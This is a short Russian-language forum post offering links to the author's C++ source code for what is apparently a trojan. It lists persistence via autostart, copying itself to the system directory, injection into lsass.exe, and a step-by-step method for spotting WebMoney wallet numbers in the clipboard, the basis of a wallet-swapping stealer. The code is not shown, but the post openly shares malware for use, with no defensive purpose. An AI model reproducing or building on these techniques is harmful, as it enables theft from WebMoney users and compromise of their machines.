Вот, вместе с одним человеком написал(выкладываю с его разрешения). Билд выкладывать не имеет смысла. Вот исходники. Сильно не бейте.
http://www.lordofring.tushino.com/main.cpp.txt
http://www.lordofring.tushino.com/inj.h.txt

Мои любимые: пись в автозагрузку, копи в сис диру, инжект в lsass.exe.
Распознование кошеля такое:
1)Проверяем существование WebMoney.exe
2)Есть ли в буфере 13символов
3)Ну и с какой буквы начинается(R,Z,E,U)